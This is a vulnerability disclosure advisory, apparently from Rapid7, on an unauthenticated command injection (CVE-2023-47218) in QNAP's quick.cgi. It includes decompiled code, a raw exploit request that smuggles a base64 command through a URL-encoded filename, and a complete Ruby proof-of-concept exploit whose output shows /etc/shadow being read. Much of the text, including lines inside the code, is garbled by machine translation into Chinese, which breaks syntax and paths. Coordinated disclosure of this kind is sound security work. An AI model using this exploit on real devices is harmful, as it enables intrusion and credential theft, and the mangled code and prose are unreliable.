Last updated at Tue, 13 Feb 2024 16:00:00 GMT

Rapid7在QNAP操作系统中发现了一个未经身份验证的命令注入漏洞 QTS and QuTS hero. QTS是用于许多QNAP入门级和中级网络附加存储(NAS)设备的固件的核心部分, QuTS hero是众多QNAP高端和企业NAS设备固件的核心部分. The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature. The quick.cgi component is present in an uninitialized QNAP NAS device. 该组件旨在在手动或基于云的QNAP NAS设备供应期间使用. Once a device has been successfully initialized, the quick.cgi component is disabled on the system.

对未初始化的QNAP NAS设备进行网络访问的攻击者可能会执行未经身份验证的命令注入, allowing the attacker to execute arbitrary commands on the device.

Credit

This vulnerability was discovered by Stephen少, Rapid7的首席安全研究员,并根据Rapid7的披露 vulnerability 信息披露政策.

供应商声明

CVE-2023-47218已经在多个版本的QTS、QuTS英雄和QuTScloud中得到解决. QNAP优先考虑安全性, 积极与Rapid7等受人尊敬的研究人员合作,及时解决和纠正漏洞, ensuring the safety of our customers. For more information, please see: http://www.qnap.com/en/security-advisory/qsa-23-57

追求卓越, QNAP(质量网络设备提供商)提供包含软件开发的整体解决方案, 硬件设计, 以及内部制造. 不仅仅是存储, QNAP envisions NAS as a robust platform, 促进基于云的网络为用户无缝托管和推进人工智能分析, 边缘计算, and data integration on their QNAP solutions.

Remediation

QNAP released a fix for this vulnerability on January 25, 2024. According to QNAP, the following versions remediate the issue:

  • QTS 5.1.x - Fixed in QTS 5.1.5.2645楼20240116 and later
  • QuTS hero h5.1.x - Fixed in QuTS hero h5.1.5.2647楼20240118 and later

For more details please read the QNAP安全咨询.

QNAP have provided the following remediation guidelines:

确保您的QNAP NAS安全, 我们建议定期将系统更新到最新版本,以便从漏洞修复中受益. 你可以查看 产品支持状态 to see the latest updates available to your NAS model.

Analysis

During our analysis we targeted the QTS based firmware, version 5.1.2.2533 for a QNAP TS-464 NAS device. We extracted the file system using the following steps:

user@dev: ~ /接下来/ $ ls
TS-X64_20230926-5.1.2.2533.zip
#解压缩固件.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip 
Archive: TS-X64_20230926-5.1.2.2533.zip
  inflating: TS-X64_20230926-5.1.2.2533.img  
user@dev: ~ /接下来/ $ ls
TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.zip
# Decrypt the firmware using the tool qnap-qts-fw-cryptor.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev: ~ /接下来/ $ ls
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.提取/ cpio-root /

反编译 /home/httpd/cgi-bin/quick/quick.cgi binary, we can see a function switch_os can be called 如果HTTP参数名为 func has a value switch_os.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 Input; // rax
  __int64 input; // rbp
  _BOOL4 v5; // ebx
  __int64 func_param; // rax
  __int64 func_param_; // r12
  bool v8; // zf
  unsigned int v9; // ebp
  __int64 todo_param; // rbx

  sub_415C82(1LL, a2, a3);
  dword_630794 = sub_415F8B();
  dword_630790 = sub_415F41();
  dword_63079C = sub_415F1E();
  Input = CGI_Get_Input();
  input =输入;
  if ( Input )
  {
    func_param = CGI_Find_Parameter(Input, (char *)"func");
    Func_param_ = func_param;
    If (func_param)
    {
      v8 = strcmp(*(const char **)(func_param + 8), "main") == 0;
      v5 = !v8;
      if ( v8 )
      {
        v9 = rand();
        puts("301 Moved Permanently");
        printf("Location: /cgi-bin/quick/html/index.html?数= % d \ n ", v9);
        return v5;
      }
      if ( !CGI_Find_Parameter(input, "todo") )
        goto LABEL_6;
      todo_param = CGI_Find_Parameter(input, "todo");
      if ( !strcmp(*(const char **)(func_param_ + 8), "switch_os") )
      {
        if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---

The switch_os function will call a function uploaf_firmware_image 如果HTTP参数名为 todo 的值为 uploaf_firmware_image.

__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
  __int64 os_name_param; // rax
  __int64 v3; // rbx
  FILE *v4; // rax
  FILE *v5; // rbp
  const char *v6; // rax
  char *v7; // rbp
  __int64 v8; // rdx
  __int64 result; // rax
  __int64 v10; // rdx
  char os_name[32]; // [rsp+0h] [rbp-38h] BYREF

  memset(os_name, 0, sizeof(os_name));
  os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
  If (os_name_param)
    strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
  if ( !strcmp(todo_param, "uploaf_firmware_image") )
  {
    v3 = uploaf_firmware_image(); // <--- 

在函数中 uploaf_firmware_image, we can see a helper function CGI_Upload 是用来读取一个值从CGI请求到一个局部变量称为 file_name below.

__int64 uploaf_firmware_image()
{
  //...snip...
  if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
    返回json_pack (
             “{si si ss}”,
             4341610LL,
             200LL,
             “error_code”,
             4LL,
             “error_message”,
             "upload full_path_filename fail.");
  sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
  if ( chmod(file, 436u) < 0 )
    返回json_pack (
             “{si si ss}”,
             4341610LL,
             200LL,
             “error_code”,
             5LL,
             “error_message”,
             "upload full_path_filename fail.");
  if ( !fork() )
  {
    V2 = open("/dev/null", 2);
    if ( v2 != -1 )
    {
      close(0);
      dup2(v2, 0);
      close(1);
      dup2(v2, 1);
      close(2);
      dup2(v2, 2);
      close(v2);
    }
    sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
    系统(buf266);
    sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
    if ( system(buf266) ) // <--- command injection.
    {
      Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp . sh ".conf");
    }

We can see above that the value extracted by CGI_Upload 将用于构造一个操作系统命令,然后将该命令传递给对 system 要执行命令. 如果攻击者可以在文件名字符串中提供双引号字符, a command injection vulnerability can be achieved.

To understand how an attacker can achieve this, we must examine CGI_Upload from the \ usr \ lib \ libuLinux_fcgi.so.0.0 binary. CGI_Upload will call cgi_save_file_ex to extract several fields from a POST request's multipart form data.

__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
  CGI_Get_Http_Info (&dest);
// ...snip...
        strtok (v36”;“);
        strtok(0会”、“);
        v18 = strtok(0LL, "\n");
        if ( v18 )
          snprintf(v36, 0x1000uLL, "%s", v18);
        strtok (v36 " \ ");
        v19 = strtok(0LL, "\"");
        if ( v19 )
          Strncpy (a2, v19, n);
        if ( dest.useragent_type == 3 ) // <---
          trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---

The call to CGI_Get_Http_Info 在函数的开头,将检索有关请求的一些元数据. 提取表单字段值(为了简洁,我们省略了这里的大部分逻辑). When storing an extracted field value, a check is done against the requested metadata, and if the user agent was given an enum value of 3, 对…的特别召唤 trans_http_str will occur. The function trans_http_str will URL decode any value we pass it, e.g. %22 will be decoded to a double quote character. This will allow an attacker to escape the command string in the function uploaf_firmware_image and achieve command injection.

要理解为什么元数据的用户代理类型可以设置为3,我们可以检查这个函数 CGI_Get_Http_Info,如下所示.

char *__fastcall CGI_Get_Http_Info (struct_dest *dest)
{
  // ...snip…
  v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
  v11 = v10;
  if ( !v10 )
  {
LABEL_29:
    dest->useragent_type = 0;
    goto LABEL_16;
  }
  if ( strstr(v10, "Safari") )
  {
    dest->useragent_type = 7;
    goto LABEL_16;
  }
  if ( !strstr(v11, "MSIE"))
  {
    if ( strstr(v11, "Mozilla") )
    {
      if ( strstr(v11, "Macintosh") )
        dest->useragent_type = 3; // <---
      else 
        dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
      goto LABEL_16;
    }
    goto LABEL_29;
  }

我们可以看到,如果HTTP请求的用户代理同时包含字符串“Mozilla”和字符串“Macintosh”, then the user agent type will be set to 3.

因此,我们可以使用如下所示的HTTP POST请求来利用此漏洞:

POST /目录/快速/快.cgi?func = switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
内容长度:164
Content-Type: multipart/form-data;boundary="avssqwfz"

--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
内容类型:文本/平原

skfqduny
--avssqwfz–

Note the use of the URL encoded double quote %22 to perform the command injection, 然后执行base64编码的命令(在上面的示例中为“id”). Finally, 我们可以看到请求的用户代理是“Mozilla Macintosh”,以启用多部分表单字段的URL解码.

概念验证利用

The following is a Ruby proof-of-concept exploit called qnap_hax.rb that can be used to successfully exploit a vulnerable target.

需要“optparse”
需要“base64”
需要“套接字” 

def日志(txt)
  $stdout.puts txt
end

def rand_string(兰)
  (0...len).map {'a'.Ord + rand(26)}.pack('C*')
end

def send_http_data(ip, port, data)
  s = TCPSocket.打开(ip、端口)
  
  s.write(data)
  
  result = ''
  
  While line = s.gets
    result << line
  end
  
  s.close

  返回结果
end

Def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')

  payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"

  如果read_output
    payload << ">#{output_file_name}"
  end

  payload << ")\""

  payload.gsub!("\"", '%22')
  payload.gsub!(";", '%3B')

  if payload.length > 127
    log "[-] Error, the command is too long (#{payload.length}), must be < 128 bytes."
    return false
  end
  
  边界= rand_string(8)
  
  TXT = "- #{边界}\r\n"
  txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
  txt << "内容类型:文本/平原\r\n"
  txt << "\r\n"
  txt << "#{rand_string(8)}\r\n"
  txt << "--#{boundary}--\r\n"

  body  = "POST /目录/快速/快.cgi?func = switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
  body << "Host: #{ip}:#{port}\r\n"
  body << "User-Agent: Mozilla Macintosh\r\n"
  body << "Accept: */*\r\n"
  body << "Content-Length: #{txt.bytesize} \ r \ n”
  body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
  body << "\r\n"
  body << txt

  result = send_http_data(ip, port, body)
  
  if result&.match? /HTTP\/1\.\d 200 OK/
    log "[+] Success, executed command: #{cmd}"
  else
    log "[-] Failed to execute command: #{cmd}"
    log result
    
    return false
  end
  
  如果read_output

    result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
    
    if result&.match? /HTTP\/1\.\d 200 OK/

      Found_content = false
      
      result.lines.各做一行
        If line == "\r\n"
          Found_content = true
          next
        end
        
        如果是found_content,日志行 
      end    
    else
      log "[-] Failed to read back output."
      log result
      
      return false
    end
  end

  return true
end

def hax(选项)

  log "[+] Targeting: #{options[:ip]}:#{选项(港):}"

  Output_file_name = 'a'

  return unless hax_single_command(options[:ip], 选项(港):, 选项(cmd):, true, output_file_name)
  
  return unless hax_single_command(options[:ip], 选项(港):, "rm -f #{output_file_name}", false, output_file_name)
  
  return unless hax_single_command(options[:ip], 选项(港):, 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end

options = {}

OptionParser.新选项
  opts.banner = "用法:hax1 ..rb[选项]”

  opts.on("-t", "--target TARGET", "Target IP") do |v|
    Options [:ip] = v
  end
  
  opts.on("-p", "--port PORT", "Target Port") do |v|
    Options [:port] = v.to_i
  end  
  
  opts.on("-c", "--cmd COMMAND", "Command to execute") do |v|
    Options [:cmd] = v
  end
end.parse!

除非选项.key? :ip
  log '[-] Error, you must pass a target IP: -t TARGET'
  return
end

除非选项.key? :port
  log '[-] Error, you must pass a target port: -p PORT'
  return
end

除非选项.key? :cmd
  log '[-] Error, you must pass a command to execute: -c COMMAND'
  return
end

[+]正在启动..."

hax(options)

[+]完成."

Exploitation

To verify this vulnerability, after manually extracting the firmware, we used the QEMU emulator to run the built-in web server. 作为脆弱的组成部分 quick.cgi is present in an uninitialized system, we manually enabled the feature, allowing a remote attacker to access the vulnerable CGI script over HTTP.

模拟固件

We performed the following steps to run the builtin web server _httpd_ via QEMU, and enable the vulnerable quick.cgi component.

user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.提取/ cpio-root /
# Copy the qemu-x86_64-static binary into the root file system folder.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
#通过QEMU运行_thttpd_.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
TCP 0 0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1195417/./qemu-x86_ 
# Drop to shell by QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2 .执行rm /lib/ libl命令.so.200
sh-3.2# ln -s /lib/ libl -3.so.200.24.0 /lib/libnl-3.so.200
# This folder will be present in a NAS device containing a hard drive.
sh-3.# mkdir /mnt/HDA_ROOT

Run the PoC

最后,为了验证漏洞,我们在远程机器上运行了利用脚本 qnap_hax.rb 攻击远程目标,并成功执行任意操作系统命令.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+]目标:192.168.86.42:8080
[+] Success, executed command: id
Uid =0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+]目标:192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCtO46Psdbq/:14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

Rapid7客户

从2月13日起,InsightVM和expose客户将可以使用CVE-2023-47218的未经身份验证的漏洞检查, 2024年内容发布.

Timeline

  • 2023年11月9日: Rapid7与QNAP产品安全事件响应小组(PSIRT)进行初步联系.
  • 2023年11月13日: Rapid7 provides QNAP with a detailed technical advisory.
  • 2023年11月27日: Rapid7 provides QNAP with a standalone proof of concept exploit.
  • 2023年12月5日: QNAP确认报告发现并将CVE-2023-47218分配给该漏洞. Rapid7 suggests January 8, 2024 as a coordinated disclosure date.
  • 2023年12月7日: Vendor informs Rapid7 they are looking to complete fixes by the end of January; they request an extension to February 7, 2024年披露.
  • 2023年12月7日: Rapid7同意将2024年2月7日作为协调披露日期,并要求QNAP审查我们的报告 信息披露政策. Rapid7 also reinforces that coordinated disclosure means patches, advisories, and other vulnerability details are released at the same time, without 默默的打补丁 安全问题.
  • 2023年12月13日: Rapid7 requests that vendor re-confirm timeline; vendor confirms February 7, 2024年披露, acknowledges Rapid7’s 信息披露政策.
  • 2023年12月18日: Rapid7 requests additional information about vendor-supplied mitigation guidance and affected products; vendor sends additional info to Rapid7.
  • January 8, 2024 - January 10, 2024: Rapid7 requests an update and additional information.
  • January 25, 2024 - January 26, 2024: 供应商联系了Rapid7,并告知我们他们已经发布了针对此漏洞的补丁. 供应商要求Rapid7等到2024年2月26日再公布我们的披露. Rapid7要求提供进一步资料,说明尽管以前进行了沟通,但为何没有协调披露工作. QNAP和Rapid7讨论并同意于2024年2月13日联合发布咨询.
  • 2024年2月13日: 这种披露.